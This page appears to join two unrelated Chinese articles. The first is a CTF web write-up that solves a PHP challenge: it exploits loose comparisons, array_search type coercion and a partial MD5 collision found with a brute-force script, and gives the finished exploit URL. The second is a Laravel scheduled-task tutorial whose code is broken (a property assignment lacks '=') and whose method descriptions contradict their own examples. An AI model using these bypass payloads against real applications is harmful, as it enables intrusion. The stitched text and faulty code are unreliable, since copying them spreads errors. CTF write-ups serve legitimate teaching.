CTF_WEB题

WEB题目地址:http://ctf3.shiyanbar.com/web/good/index.php

<?php 
show_source(__FILE__); 
$a=0; 
$b=0; 
$c=0; 
$d=0; 
if (isset($_GET['x1'])) 
{ 
        $x1 = $_GET['x1']; 
        $x1=="1"?die("ha?"):NULL; 
        switch ($x1) 
        { 
        case 0: 
        case 1: 
                $a=1; 
                break; 
        } 
} 
$x2=(array)json_decode(@$_GET['x2']); 
if(is_array($x2)){ 
    is_numeric(@$x2["x21"])?die("ha?"):NULL; 
    if(@$x2["x21"]){ 
        ($x2["x21"]>2017)?$b=1:NULL; 
    } 
    if(is_array(@$x2["x22"])){ 
        if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?"); 
        $p = array_search("XIPU", $x2["x22"]); 
        $p===false?die("ha?"):NULL; 
        foreach($x2["x22"] as $key=>$val){ 
            $val==="XIPU"?die("ha?"):NULL; 
        } 
        $c=1; 
} 
} 
$x3 = $_GET['x3']; 
if ($x3 != '15562') { 
    if (strstr($x3, 'XIPU')) { 
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) { 
            $d=1; 
        } 
    } 
} 
if($a && $b && $c && $d){ 
    include "flag.php"; 
    echo $flag; 
} 
?>

题目要求传入三个参数x1,x2,x3;

首先看x1;

switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}

switch语句只要不break,就会一直执行下去,所以X0时,a=1。

 

 

再看x2.

$x2=(array)json_decode(@$_GET[‘x2’]);
if(is_array($x2)){
is_numeric(@$x2[“x21”])?die(“ha?”):NULL;
if(@$x2[“x21”]){
($x2[“x21”]>2017)?$b=1:NULL;
}
if(is_array(@$x2[“x22”])){
if(count($x2[“x22”])!==2 OR !is_array($x2[“x22”][0])) die(“ha?”);
$p = array_search(“XIPU”, $x2[“x22”]);
$p===false?die(“ha?”):NULL;
foreach($x2[“x22″] as $key=>$val){
$val===”XIPU”?die(“ha?”):NULL;
}
$c=1;
}
}

 

 

x2要是数组,这里用php的json_encode()函数就可以简单转换。

 

X2中的“x21”项不能是数字,但是下面又要比2017大,这就要了解php数字和字符串的大小比较就可以了,只要前面包含比2017大的数就可以使得题目中的比较为true,那就随便选一个数字加多个a:2222a,

 

X2中的“x21”项要是包含两个项的数组,同时第一项要是一个数组,那就[1]吧

array_search(“XIPU”, $x2[“x22”]);
要求次函数返回为真,但是后面的代码要求每一项不包含XIPU,

arry_search()函数有个漏洞,当字符串不能找到时,会将他强制转化为整形再寻找,

运行intval(“XIPU”)的值为0,所以第二项为0;

 

于是x2= {“x21″:”2222a”,”x22″:[[1],0]}

 

X3是一个MD5局部碰撞,而且字符串中要包含XIPU,写个php脚本跑一下就行了

http://134.175.49.230:8888/test2.php

<?php

$t=substr(md5("15562"),8,16);

$i=15562;

while(1){

$flag="XIPU";

$flag.=$i;

$fmd5=substr(md5($flag),8,16);

if($fmd5==$t){

echo $flag."<br>";

echo $fmd5."<br>";

var_dump($fmd5==$t);

break;

}

$i++;

}

所以x3= XIPU18570

所以答案是http://ctf3.shiyanbar.com/web/good/index.php?x1=0&x2={%22×21%22:%222222a%22,%22×22%22:[[1],0]}&x3=XIPU18570

laravel定时任务以及定时函数详解

1.首先我们先创建一个Test.php测试任务

1
php artisan make:command Test

laravel5.2及以前的版本(emmmm如果没记错的话,是这样的)使用make:console命令

创建完成后会在app/Console/Commands/目录下,如图

https://img.mukewang.com/5b4db68a0001294c03420312.jpg

打开Test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
use Illuminate\Support\Facades\Log;
class Test extends Command
{
    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature 'test';//命令名称,待会调用php artisan test就会执行
    /**
     * The console command description.
     *
     * @var string
     */
    protected $description '这是一条测试任务';//命令描述,没什么用
    /**
     * Create a new command instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();//自构函数,也用不到
    }
    /**
     * Execute the console command.
     *
     * @return mixed
     */
    public function handle()
    {
        //主要业务逻辑在这些
        Log::info('测试任务');
    }
}

然后要注册这个任务。

在Kernel.php中完成注册。

https://img.mukewang.com/5b4db7ef000178f206400341.jpg

注册完成后。我们就可以调用这里的任务了。

https://img1.mukewang.com/5b4db8290001ef4e02270057.jpg

可以在日志文件中看到

https://img1.mukewang.com/5b4db83d0001897705350121.jpg

说明我们已经成功调用了这个测试任务。

然后,我们这里着重说一下定时任务的调度。在kernel.php中还有一个schedule函数,这个就是用来做定时调度的。

https://img.mukewang.com/5b4db8af0001872908020380.jpg

我像这样我就写了每天上午9点调用这个任务。

详细说下laravel里面所有的定时函数,让你用的如鱼得水~~~~

->cron($expression)  emmm…..这个函数好像从来都没用到过,看英文介绍是“表达频率的cron表达式”,等我有时间在研究一下这个函数。

->between($startTime, $endTime)   任务在startTime和endTime时间段之内被调用,example:->between(8:00,9:00)表示8:00到9:00之间调用任务

->unlessbetween($startTime, $endTime)   任务在startTime和endTime时间段之内被调用,example:->between(8:00,9:00)表示8:00到9:00之间不调用任务

->inTimeInterval($startTime, $endTime)  同between($startTime, $endTime),因为between()最终还是去调用了inTimeInterval()这个函数

->everyMinute()  最简单的一个函数,每分钟调用一次

->everyFiveMinutes()  每5分钟调用一次

->everyTenMinutes()  每10分钟调用一次

->everyFifteenMinutes()  每15分钟调用一次

->everyThirtyMinutes()  每30分钟调用一次

->hourly()  每小时调用一次,准点调用

->hourlyAt($offset)  每小时调用一次,example: ->hourly(30)  1:30,2:30,3:30…调用一次

->daily()  每天0:00调用一次

>dailyAt($time)  example: ->daily(9:00)每天9点调用一次

->at($time) 在给定的时间调用函数

->twiceDaily($first = 1, $second = 13)  每天调用两次,默认0点和12点调用

->weekdays()  工作日调用

->weekends()  周末调用

->mondays() 周一调用

->tuesdays() 周二调用

->wednesdays() 周三掉用

->thursdays() 周四调用

->firdays() 周五调用

->saturdays() 周六调用

->sundays() 周日调用

->weekly() 每周调用一次

->weeklyOn($day, $time = ‘0:0’) example: ->weeklyOn(0, 8:00)每周日8点调用,0,7都表示周日,1-6,相对应

->monthly()  每月调用一次

->monthlyOn($day, $time = ‘0:0’) emaple: ->monthlyOn(5, 9:00) 每月5号9:00调用

->twiceMonthly($first = 1, $second = 16)  每月调用2次,如果没理解错应该是默认每月1号零点和16号零点(15号24点),没测试

->quarterly() 每季度调用一次

->yearly()  每年调用一次

 

作者:寞小陌
链接:https://www.imooc.com/article/44321
来源:慕课网
本文原创发布于慕课网 ,转载请注明出处,谢谢合作